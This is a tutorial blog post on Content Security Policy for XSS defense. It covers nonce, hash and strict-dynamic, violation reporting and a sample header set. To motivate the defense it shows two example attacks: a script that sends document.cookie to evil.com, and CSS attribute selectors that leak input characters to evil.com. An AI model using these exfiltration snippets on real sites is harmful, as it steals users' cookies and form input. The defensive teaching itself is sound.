Content Security Policy Deep Dive: From XSS Defense to strict-dynamic

前端安全(Updated Jun 10, 2026)

CSP: The Last Line of Defense Against XSS

Content Security Policy (CSP) is an HTTP response header that tells the browser which resources can load and from where. Even if an attacker injects a malicious script, CSP can block its execution.

XSS Attack Without CSP

<!-- Attacker-injected script -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

With CSP

Content-Security-Policy: default-src 'self'

→ Browser refuses to execute inline scripts
→ Refuses to load non-same-origin resources
→ XSS attack fails

Core CSP Directives

Resource Loading Directives

Directive Controls Example Value
default-src Default policy for all resources 'self'
script-src JavaScript sources 'self' 'nonce-abc'
style-src CSS sources 'self' 'unsafe-inline'
img-src Image sources 'self' data: https:
font-src Font sources 'self' https://fonts.gstatic.com
connect-src fetch/XHR/WebSocket sources 'self' https://api.example.com
media-src Audio/video sources 'self'
object-src <object>/<embed> sources 'none'
frame-src iframe sources 'self'
base-uri <base href> restriction 'self'
form-action Form submission targets 'self'

Document Directives

Directive Effect Recommended Value
upgrade-insecure-requests Auto-upgrade HTTP to HTTPS (no value needed)
block-all-mixed-content Block mixed content (no value needed)
sandbox Restrict page capabilities allow-scripts allow-forms

From unsafe-inline to nonce/hash

The Risk of unsafe-inline

script-src 'self' 'unsafe-inline'

→ Allows all inline scripts to execute
→ XSS-injected <script> also executes
→ CSP becomes ineffective

The nonce Approach

The server generates a random nonce per request; only scripts with a matching nonce can execute:

<!-- HTTP response header -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'

<!-- Script in HTML -->
<script nonce="abc123def456">
  console.log('This is a legitimate script');
</script>

<!-- Attacker-injected script has no nonce → blocked -->
<script>
  stealCookies(); // Will not execute
</script>

Implementing nonce in Next.js

import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

The hash Approach

Compute a SHA256 hash of script content; only scripts with matching hashes can execute:

Content-Security-Policy: script-src 'self' 'sha256-abc123...'

<!-- Script with matching hash can execute -->
<script>console.log('Fixed content script');</script>

hash works for fixed-content inline scripts (e.g., GA initialization code); nonce is better for dynamic content.


strict-dynamic: Trust Chain Propagation

The Pain of Traditional CSP

Every new third-party script source requires adding a domain to script-src:

script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...

Hard to maintain, and trusts ALL scripts under those domains.

The strict-dynamic Approach

strict-dynamic means: scripts dynamically loaded by nonce/hash-trusted scripts are also automatically trusted.

script-src 'strict-dynamic' 'nonce-abc123'
  • <script> with the nonce can execute
  • Scripts created by that script via document.createElement('script') can also execute
  • No need to list all CDN domains in CSP

Trust Chain Propagation Rules

Nonce-trusted script
  ↓ dynamically loads
  Child script auto-trusted
    ↓ dynamically loads
    Grandchild script auto-trusted
      ↓ ...

Under strict-dynamic, traditional source expressions like 'self', 'unsafe-inline', and domain sources are ignored. Only nonce/hash serve as trust roots.


Special Handling for style-src

Why CSS Also Needs CSP

Attackers can exfiltrate data through CSS:

/* CSS data exfiltration: load different backgrounds based on attribute values */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }

Style CSP Strategy

style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
  .card { border-radius: 8px; }
</style>

Many frameworks (e.g., Tailwind CSS JIT) require 'unsafe-inline'. Gradually tighten via nonce or hash.


CSP Violation Reporting

Configuring the Report Endpoint

Content-Security-Policy: default-src 'self'; report-uri /api/csp-report

Or using the newer report-to:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"

Violation Report Format

{
  "csp-report": {
    "document-uri": "https://toolsku.com/blog/csp",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "inline",
    "source-file": "https://toolsku.com/blog/csp",
    "line-number": 42,
    "column-number": 8
  }
}

Server-Side Report Handling

export async function POST(request: Request) {
  const report = await request.json();
  console.error('CSP violation:', report['csp-report']);

  await db.insert('csp_violations', {
    uri: report['csp-report']['document-uri'],
    directive: report['csp-report']['violated-directive'],
    blocked: report['csp-report']['blocked-uri'],
    timestamp: new Date()
  });

  return new Response(null, { status: 204 });
}

CSP Report-Only Mode

Before deploying CSP, use Report-Only mode to observe violations without actually blocking:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report

Progressive Deployment Flow

1. Set CSP-Report-Only → collect violation reports
2. Analyze reports → adjust CSP policy
3. When violations reach zero → switch to enforced CSP
4. Monitor continuously → adjust if new violations appear

Complete CSP Configuration Example

ToolsKu Website CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.toolsku.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /api/csp-report

Configuration Breakdown

Directive Value Security Significance
default-src 'self' Same-origin only by default Prevents arbitrary resource loading
script-src 'strict-dynamic' 'nonce-...' nonce + trust chain Eliminates unsafe-inline
style-src 'unsafe-inline' Allow inline styles Required by Tailwind JIT
object-src 'none' No Flash/Java Eliminates legacy plugin attack surface
frame-src 'none' No iframes Prevents clickjacking
base-uri 'self' Restrict base tag Prevents base hijacking
form-action 'self' Forms submit same-origin only Prevents form hijacking

Complementary Security Response Headers

Header Effect Recommended Value
X-Content-Type-Options Prevent MIME sniffing nosniff
X-Frame-Options Prevent iframe embedding DENY
X-XSS-Protection Browser XSS filter 0 (CSP covers this)
Strict-Transport-Security Force HTTPS max-age=31536000; includeSubDomains
Referrer-Policy Control Referer leakage strict-origin-when-cross-origin
Permissions-Policy Restrict browser APIs camera=(), microphone=(), geolocation=()

Common Pitfalls

Pitfall Description Solution
unsafe-eval Allows eval()/new Function() Avoid eval, or replace with Wasm
unsafe-inline + nonce When nonce exists, inline is ignored Remove unsafe-inline
Missing default-src Unset directives fall back to default-src Always set default-src
Too many CDN domains Hard to maintain Use strict-dynamic
No base-uri Attacker can inject <base> to change relative paths Set base-uri 'self'

Summary

CSP is the core mechanism for XSS defense. Migrating from unsafe-inline to nonce + strict-dynamic is the best practice for modern CSP: it eliminates the risk of inline scripts while solving the maintenance burden of third-party script trust chains. Combined with Report-Only progressive deployment and violation report monitoring, you can continuously tighten security policy without breaking functionality.

Use the CSP Generator to quickly configure CSP policies, the HTTP Headers Analyzer to check response header security, and the Permissions Policy Tool to restrict browser API access.

Try these browser-local tools — no sign-up required →

#CSP#内容安全策略#XSS防护#nonce#安全响应头